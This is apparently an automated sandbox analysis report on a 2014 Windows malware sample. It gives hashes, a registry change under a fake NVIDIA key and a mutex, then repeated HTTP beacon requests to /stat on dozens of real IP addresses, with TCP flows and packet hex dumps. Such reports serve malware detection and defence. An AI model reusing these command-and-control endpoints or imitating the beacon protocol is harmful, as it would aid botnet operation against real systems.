Analysis Date2014-09-30 16:37:54
MD5e16d1884517f3e668ba7a98b86800314
SHA13fcc6a96beb047143c7ecbe1a29ec8a22467ffda

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386
Section.text md5: 3bd5a2ab92e40ee17290282d69fa70af sha1: 5d32091a81c5c8ce7c9f7ef25eaffb701e1038be size: 8192
Section.rdata md5: cbaeaa9915e92e2d8087eebf1bce4d25 sha1: 4a2adde1dd8fdfdd01434382bf04a36a3942d797 size: 4096
Section.data md5: 418c01fc8791a4db607dcc118771f531 sha1: 0a72ed6518b1c1e9892a4efe1e11a8a517e13780 size: 20480
Section.idata md5: 2f9ab99cc86e5bc04c1cf707d0bc707e sha1: 53b301f76648a41ad7f69f6787e3dbc47bf30a06 size: 4096
Section.rsrc md5: cbedac94a16300138a688ece548fe9b9 sha1: 5f74e449901c92b23eb0ff5930f2168ea39f5966 size: 28672
Sectionreloc md5: 0132625760b471b5f5c88bfd26e281f3 sha1: 2063aae3a28d0b50ece86bb66412fe364338efd6 size: 4096
Timestamp2014-08-09 17:31:38
PEhash3172d116ea0e9053799ce5b55f9a02af7c25a734
IMPhash60ff1adac03b0fe258a0191f0ece9e9f

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates ProcessC:\malware.exe

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\SOFTWARE\NVIDIA Corporation\Global\nvUpdSrv\value ➝
20140824\\x00
Creates File\Device\Afd\Endpoint
Creates MutexGlobal\MD7H82HHF7EH2D73

Network Details:

HTTP GEThttp://216.18.197.130:28430/stat?uid=100&downlink=1111&uplink=1111&id=000F2755&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://159.253.4.167:13737/stat?uid=100&downlink=1111&uplink=1111&id=000F3BE7&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://213.146.173.215:60098/stat?uid=100&downlink=1111&uplink=1111&id=000F4FBD&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://176.28.50.147:58264/stat?uid=100&downlink=1111&uplink=1111&id=000F63A2&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.154.179.119:64167/stat?uid=100&downlink=1111&uplink=1111&id=000F7779&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://75.101.145.14:37470/stat?uid=100&downlink=1111&uplink=1111&id=000F8B5E&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://82.102.11.115:15396/stat?uid=100&downlink=1111&uplink=1111&id=000F9F54&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://82.194.241.7:37399/stat?uid=100&downlink=1111&uplink=1111&id=000FB32A&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.33.197.36:31571/stat?uid=100&downlink=1111&uplink=1111&id=000FC71F&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://66.216.1.171:22459/stat?uid=100&downlink=1111&uplink=1111&id=000FDB05&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://194.23.116.213:26084/stat?uid=100&downlink=1111&uplink=1111&id=000FEECB&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://84.200.5.171:12825/stat?uid=100&downlink=1111&uplink=1111&id=001002A2&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://194.23.116.213:26084/stat?uid=100&downlink=1111&uplink=1111&id=00101658&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://176.34.21.1:33679/stat?uid=100&downlink=1111&uplink=1111&id=00102A2F&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://188.165.17.213:51340/stat?uid=100&downlink=1111&uplink=1111&id=00103DF5&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://68.169.110.227:44659/stat?uid=100&downlink=1111&uplink=1111&id=001051CB&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.154.179.119:64167/stat?uid=100&downlink=1111&uplink=1111&id=00106592&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://129.82.103.78:36034/stat?uid=100&downlink=1111&uplink=1111&id=00107968&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://68.169.110.227:44659/stat?uid=100&downlink=1111&uplink=1111&id=00108D3E&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.151.195.163:44937/stat?uid=100&downlink=1111&uplink=1111&id=0010A124&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://123.30.174.195:18387/stat?uid=100&downlink=1111&uplink=1111&id=0010B509&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://176.34.21.1:33679/stat?uid=100&downlink=1111&uplink=1111&id=0010C8EF&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://90.189.192.11:34907/stat?uid=100&downlink=1111&uplink=1111&id=0010DCE5&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://174.143.49.35:37485/stat?uid=100&downlink=1111&uplink=1111&id=0010F0CA&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://217.197.115.196:21196/stat?uid=100&downlink=1111&uplink=1111&id=001104A0&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://54.235.89.53:43461/stat?uid=100&downlink=1111&uplink=1111&id=00111867&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://146.255.96.17:16107/stat?uid=100&downlink=1111&uplink=1111&id=00112C2D&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://162.243.221.232:46248/stat?uid=100&downlink=1111&uplink=1111&id=00114004&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://174.143.49.35:37485/stat?uid=100&downlink=1111&uplink=1111&id=001153CA&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://69.164.223.222:43118/stat?uid=100&downlink=1111&uplink=1111&id=00116781&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=00117B47&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://129.82.103.78:36034/stat?uid=100&downlink=1111&uplink=1111&id=00118F0E&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://133.242.1.99:27501/stat?uid=100&downlink=1111&uplink=1111&id=0011A2C5&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://82.102.11.115:15396/stat?uid=100&downlink=1111&uplink=1111&id=0011B69B&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://212.83.149.150:62059/stat?uid=100&downlink=1111&uplink=1111&id=0011CA71&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://107.182.140.146:31973/stat?uid=100&downlink=1111&uplink=1111&id=0011DE57&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://54.247.67.39:24247/stat?uid=100&downlink=1111&uplink=1111&id=0011F22D&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://222.82.218.14:45570/stat?uid=100&downlink=1111&uplink=1111&id=00120603&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://193.222.50.2:54663/stat?uid=100&downlink=1111&uplink=1111&id=00121A08&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://108.178.62.114:28654/stat?uid=100&downlink=1111&uplink=1111&id=00122DCF&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://72.52.11.117:20357/stat?uid=100&downlink=1111&uplink=1111&id=00124195&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://206.220.43.92:41780/stat?uid=100&downlink=1111&uplink=1111&id=0012557B&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.62.29.219:10925/stat?uid=100&downlink=1111&uplink=1111&id=00126961&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.62.29.219:10925/stat?uid=100&downlink=1111&uplink=1111&id=00127D46&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://206.220.43.92:41780/stat?uid=100&downlink=1111&uplink=1111&id=0012911C&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://82.102.11.115:15396/stat?uid=100&downlink=1111&uplink=1111&id=0012A4E3&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://188.165.233.189:36427/stat?uid=100&downlink=1111&uplink=1111&id=0012B89A&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://90.189.192.11:34907/stat?uid=100&downlink=1111&uplink=1111&id=0012CC60&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://61.139.76.42:29178/stat?uid=100&downlink=1111&uplink=1111&id=0012E027&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.62.29.94:49891/stat?uid=100&downlink=1111&uplink=1111&id=0012F3DE&statpass=bpass&version=20140824&features=30&guid=83427a07-7603-4e73-82de-ea77bf159a80&comment=20140824&p=0&s=
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 216.18.197.130:28430
Flows TCP192.168.1.1:1031 ➝ 216.18.197.130:28430
Flows TCP192.168.1.1:1032 ➝ 159.253.4.167:13737
Flows TCP192.168.1.1:1033 ➝ 213.146.173.215:60098
Flows TCP192.168.1.1:1034 ➝ 176.28.50.147:58264
Flows TCP192.168.1.1:1035 ➝ 195.154.179.119:64167
Flows TCP192.168.1.1:1036 ➝ 75.101.145.14:37470
Flows TCP192.168.1.1:1037 ➝ 82.102.11.115:15396
Flows TCP192.168.1.1:1038 ➝ 82.194.241.7:37399
Flows TCP192.168.1.1:1039 ➝ 178.33.197.36:31571
Flows TCP192.168.1.1:1040 ➝ 66.216.1.171:22459
Flows TCP192.168.1.1:1041 ➝ 194.23.116.213:26084
Flows TCP192.168.1.1:1042 ➝ 84.200.5.171:12825
Flows TCP192.168.1.1:1043 ➝ 194.23.116.213:26084
Flows TCP192.168.1.1:1044 ➝ 176.34.21.1:33679
Flows TCP192.168.1.1:1045 ➝ 188.165.17.213:51340
Flows TCP192.168.1.1:1046 ➝ 68.169.110.227:44659
Flows TCP192.168.1.1:1047 ➝ 195.154.179.119:64167
Flows TCP192.168.1.1:1048 ➝ 129.82.103.78:36034
Flows TCP192.168.1.1:1049 ➝ 68.169.110.227:44659
Flows TCP192.168.1.1:1050 ➝ 178.151.195.163:44937
Flows TCP192.168.1.1:1051 ➝ 123.30.174.195:18387
Flows TCP192.168.1.1:1052 ➝ 176.34.21.1:33679
Flows TCP192.168.1.1:1053 ➝ 90.189.192.11:34907
Flows TCP192.168.1.1:1054 ➝ 174.143.49.35:37485
Flows TCP192.168.1.1:1055 ➝ 217.197.115.196:21196
Flows TCP192.168.1.1:1056 ➝ 54.235.89.53:43461
Flows TCP192.168.1.1:1057 ➝ 146.255.96.17:16107
Flows TCP192.168.1.1:1058 ➝ 162.243.221.232:46248
Flows TCP192.168.1.1:1059 ➝ 174.143.49.35:37485
Flows TCP192.168.1.1:1060 ➝ 69.164.223.222:43118
Flows TCP192.168.1.1:1061 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1062 ➝ 129.82.103.78:36034
Flows TCP192.168.1.1:1063 ➝ 133.242.1.99:27501
Flows TCP192.168.1.1:1064 ➝ 82.102.11.115:15396
Flows TCP192.168.1.1:1065 ➝ 212.83.149.150:62059
Flows TCP192.168.1.1:1066 ➝ 107.182.140.146:31973
Flows TCP192.168.1.1:1067 ➝ 54.247.67.39:24247
Flows TCP192.168.1.1:1068 ➝ 222.82.218.14:45570
Flows TCP192.168.1.1:1069 ➝ 193.222.50.2:54663
Flows TCP192.168.1.1:1070 ➝ 108.178.62.114:28654
Flows TCP192.168.1.1:1071 ➝ 72.52.11.117:20357
Flows TCP192.168.1.1:1072 ➝ 206.220.43.92:41780
Flows TCP192.168.1.1:1073 ➝ 195.62.29.219:10925
Flows TCP192.168.1.1:1074 ➝ 195.62.29.219:10925
Flows TCP192.168.1.1:1075 ➝ 206.220.43.92:41780
Flows TCP192.168.1.1:1076 ➝ 82.102.11.115:15396
Flows TCP192.168.1.1:1077 ➝ 188.165.233.189:36427
Flows TCP192.168.1.1:1078 ➝ 90.189.192.11:34907
Flows TCP192.168.1.1:1079 ➝ 61.139.76.42:29178
Flows TCP192.168.1.1:1080 ➝ 195.62.29.94:49891

Raw Pcap
0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304632 37353526 73746174 70617373   00F2755&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304633 42453726 73746174 70617373   00F3BE7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304634 46424426 73746174 70617373   00F4FBD&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304636 33413226 73746174 70617373   00F63A2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304637 37373926 73746174 70617373   00F7779&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304638 42354526 73746174 70617373   00F8B5E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304639 46353426 73746174 70617373   00F9F54&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304642 33324126 73746174 70617373   00FB32A&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304643 37314626 73746174 70617373   00FC71F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304644 42303526 73746174 70617373   00FDB05&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304645 45434226 73746174 70617373   00FEECB&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313030 32413226 73746174 70617373   01002A2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313031 36353826 73746174 70617373   0101658&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313032 41324626 73746174 70617373   0102A2F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
